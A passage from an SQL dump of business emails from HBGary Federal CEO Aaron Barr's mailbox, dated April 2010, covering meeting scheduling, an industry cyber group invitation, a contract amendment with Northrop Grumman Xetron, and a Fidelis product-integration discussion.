Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16227,'aaron_hbgary_com/16227.html'),(4926,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003154.M541511P3547Q4926.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','HBGary Fed (hopefully if I don\'t blow the interview) will be a member of this group.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Jennifer Jordan-Harrell \r\n> Date: April 5, 2010 11:23:02 AM EDT\r\n> To: \"aaron@hbgary.com\" , JD Kathuria \r\n> Subject: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)\r\n> \r\n> When: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> Where: Dial In info - 800 760 3309: Code 74491765\r\n>  \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> When: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US & Canada).\r\n> Where: 800 760 3309: Code 74491765\r\n>  \r\n> *~*~*~*~*~*~*~*~*~*\r\n>  \r\n> Aaron,\r\n> So glad we were able get you set up for the conference call.  You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.  Recruiting for the Cyber Group started on March 1st and we are very pleased with the rate at which it is ramping up. For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating. \r\n>  \r\n> Current:\r\n> 1. Bill Phelps, Accenture\r\n> 2. Skip Foote, American Systems\r\n> 3. Jeff Berkin, CACI\r\n> 4. Vince Pratuch, Cisco Systems\r\n> 5. JR Reagan, Deloitte Services, LP\r\n> 6. Samuel Chun, HP\r\n> 7. Charles Palmer, IBM\r\n> 8. Dusty Wince, KnowledgeCG\r\n> 9. Bill Varner, ManTech Int’l. (Chairman)\r\n> 10. Scott Miller, Microsoft\r\n> 11. Gary Gagnon, MITRE\r\n> 12. Shawn Carroll, Qwest\r\n> 13. Larry Cox, SAIC\r\n> 14. Mike Fraser, USIS\r\n> 15. TBD, ITT\r\n>  \r\n> PLEASE NOTE:\r\n> *       The Conference Call dial-in number and participant code are listed above\r\n> *       If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.com\r\n> *       The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.\r\n>  \r\n> Please check out our emagazine at www.executivebiz.com where you\'ll find out about all the latest happenings in the government contracting arena. \r\n>  \r\n>  \r\n>  \r\n> Sincerely,\r\n>  \r\n> Jennifer Jordan-Harrell\r\n> Group Manager\r\n>  \r\n> ExecutiveBiz\r\n> 703-226-7016\r\n> jennifer@executivebiz.com\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2074,'aaron_hbgary_com/2074.html'),(4927,'2010-04-05','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003154.M751055P3547Q4927.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nToday, Wednesday and Thursday are bad.\r\n\r\n&nbsp;\r\n\r\nOn Tuesday, I&#8217;m open all afternoon.&nbsp; On Friday, I\r\nhave some time after 1:30.&nbsp; Any of those times work for you?\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:48 AM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Dave,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t show that I replied to this, I thought I did.\r\n&nbsp;How about this week? &nbsp;I will be at Palantir GovCon all day Wed. and\r\nhave some meetings mid day on Thursday but other than that pretty free.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 10:54 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope\r\nthe proposal went well and you got a good night\'s rest afterwards :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nis a good time to catch up?\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\nSent: Thu 3/18/2010 1:36 AM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\nThats right you mentioned that. &nbsp;Wow thats a milestone.\r\n&nbsp;Once this DARPA proposal is over (extended until 29March) we will have to\r\ncatch up. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep&nbsp;J&nbsp;\r\nActually got a few days of vacation in&#8212;went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was\r\nlate, so just got home from the airport!&nbsp; Off to bed once I catch up on\r\nmail&#8230;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 1:31 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: Fidelis XPS /\r\nHB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name\r\n(Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;\r\nSent:&nbsp;Saturday, March 13,\r\n2010 4:42 PM\r\nTo:&nbsp;\'greg@hbgary.com\'; \'Aaron\r\nBarr\'; \'Penny Leavy-Hoglund\'\r\nSubject:&nbsp;Fidelis XPS / HB\r\nGary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nGreg, and Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis\r\nXPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12228,'aaron_hbgary_com/12228.html'),(4928,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003157.M22785P3547Q4928.eml','\"Rushing, Michael A. (Xetron)\" <Michael.Rushing@ngc.com>','Re: Amendment 1 to PIEA','\r\nOn Apr 5, 2010, at 10:59 AM, Rushing, Michael A. (Xetron) wrote:\r\n\r\n> Aaron,\r\n> The correction has been made – attached is the signed amendment.  Please return a fully executed copy to my attention.  Thanks.\r\n>  \r\n> Mike Rushing\r\n> Contracts Manager\r\n> Northrop Grumman - Xetron\r\n> Telephone: (513) 881-3263\r\n> Mobile: (513) 473-9498\r\n> Fax:  (513) 881-3882\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 05, 2010 10:50 AM\r\n> To: Rushing, Michael A. (Xetron)\r\n> Subject: Re: Amendment 1 to PIEA\r\n>  \r\n> Hi Mike,\r\n>  \r\n> Looks good.  If you could change HBGary Inc. to HBGary Federal, LLC then I think we are set.\r\n>  \r\n> Aaron\r\n>  \r\n>  \r\n> On Mar 30, 2010, at 4:50 PM, Rushing, Michael A. (Xetron) wrote:\r\n> \r\n> \r\n> Aaron,\r\n> My apologies for this falling completely off my radar screen.  Attached is a proposed amendment to the current PIEA which I believe will address your concerns relative to the provision of your source code to us for evaluation.  Hopefully, you will find the enclosed language in line with our previous discussion.  If you have no objection, please sign and return – I will then execute and return a completed copy for your records.  Let me know if you have questions.\r\n>  \r\n> Mike Rushing\r\n> Contracts Manager\r\n> Northrop Grumman - Xetron\r\n> Telephone: (513) 881-3263\r\n> Mobile: (513) 473-9498\r\n> Fax:  (513) 881-3882\r\n>  \r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14773,'aaron_hbgary_com/14773.html'),(4929,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003157.M230103P3547Q4929.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','opportunity','https://www.fbo.gov/index?s=opportunity&mode=form&id=5f9c55a5127d1c9e6bab1d60f56e53b0&tab=core&_cview=1\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=a4bb32046f17210f2c72207ca40769c7&tab=core&_cview=1\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0eb9039ea0d8209b3746cffc6fcb45a6&tab=core&_cview=1\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=ce06bb8fb032199d284724495b161e3c&tab=core&_cview=0\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16053,'aaron_hbgary_com/16053.html'),(4930,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003157.M419862P3547Q4930.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','How does later tomorrow afternoon sound? &nbsp;I have a meeting tomorrow from 1-2pm in Crystal City, so I can meet you around 3pm?AaronOn Apr 5, 2010, at 1:17 PM, Etue, David wrote:Aaron,&nbsp;Today, Wednesday and Thursday are bad.&nbsp;On Tuesday, I’m open all afternoon.&nbsp; On Friday, I have some time after 1:30.&nbsp; Any of those times work for you?David&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 10:48 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration Opportunities&nbsp;Hey Dave,&nbsp;I don\'t show that I replied to this, I thought I did. &nbsp;How about this week? &nbsp;I will be at Palantir GovCon all day Wed. and have some meetings mid day on Thursday but other than that pretty free.&nbsp;Aaron&nbsp;On Mar 30, 2010, at 10:54 PM, Etue, David wrote:Aarron,&nbsp;Hope the proposal went well and you got a good night\'s rest afterwards :)&nbsp;When is a good time to catch up?David&nbsp;From:&nbsp;Aaron BarrSent:&nbsp;Thu 3/18/2010 1:36 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration OpportunitiesThats right you mentioned that. &nbsp;Wow thats a milestone. &nbsp;Once this DARPA proposal is over (extended until 29March) we will have to catch up.&nbsp;Aaron&nbsp;On Mar 18, 2010, at 1:34 AM, Etue, David wrote:Yep&nbsp;J&nbsp; Actually got a few days of vacation in—went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was late, so just got home from the airport!&nbsp; Off to bed once I catch up on mail…From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 1:31 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration OpportunitiesMorning Dave. &nbsp;late night for you as well.Thanks.AaronOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:Updated version with some minor typos and your product name (Active Defense) corrected.&nbsp;DavidFrom:&nbsp;Etue, David&nbsp;Sent:&nbsp;Saturday, March 13, 2010 4:42 PMTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'Subject:&nbsp;Fidelis XPS / HB Gary Integration OpportunitiesAaron, Greg, and Penny,Based on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.DavidFidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;Aaron BarrCEOHBGary Federal Inc.&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7420,'aaron_hbgary_com/7420.html'),(4931,'2010-04-05','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003158.M297679P3547Q4932.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds great.&nbsp; Are you heading back North or do you want to meet\r\ndown that way?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 1:47 PM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does later tomorrow afternoon sound? &nbsp;I have a\r\nmeeting tomorrow from 1-2pm in Crystal City, so I can meet you around 3pm?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 1:17 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToday, Wednesday and Thursday are bad.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Tuesday, I&#8217;m open all afternoon.&nbsp; On Friday, I have some\r\ntime after 1:30.&nbsp; Any of those times work for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 10:48 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: Fidelis XPS /\r\nHB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Dave,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI don\'t show that I replied to this, I thought I did.\r\n&nbsp;How about this week? &nbsp;I will be at Palantir GovCon all day Wed. and\r\nhave some meetings mid day on Thursday but other than that pretty free.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 10:54 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope\r\nthe proposal went well and you got a good night\'s rest afterwards :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nis a good time to catch up?\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\nSent:&nbsp;Thu 3/18/2010 1:36\r\nAM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: Fidelis XPS /\r\nHB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThats right you mentioned that. &nbsp;Wow thats a milestone.\r\n&nbsp;Once this DARPA proposal is over (extended until 29March) we will have to\r\ncatch up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep&nbsp;J&nbsp;\r\nActually got a few days of vacation in&#8212;went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was\r\nlate, so just got home from the airport!&nbsp; Off to bed once I catch up on\r\nmail&#8230;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 1:31 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: Fidelis XPS /\r\nHB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name\r\n(Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;\r\nSent:&nbsp;Saturday, March 13,\r\n2010 4:42 PM\r\nTo:&nbsp;\'greg@hbgary.com\'; \'Aaron\r\nBarr\'; \'Penny Leavy-Hoglund\'\r\nSubject:&nbsp;Fidelis XPS / HB\r\nGary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nGreg, and Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis\r\nXPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15529,'aaron_hbgary_com/15529.html'),(4932,'2010-04-05','\"Aaron Barr\" 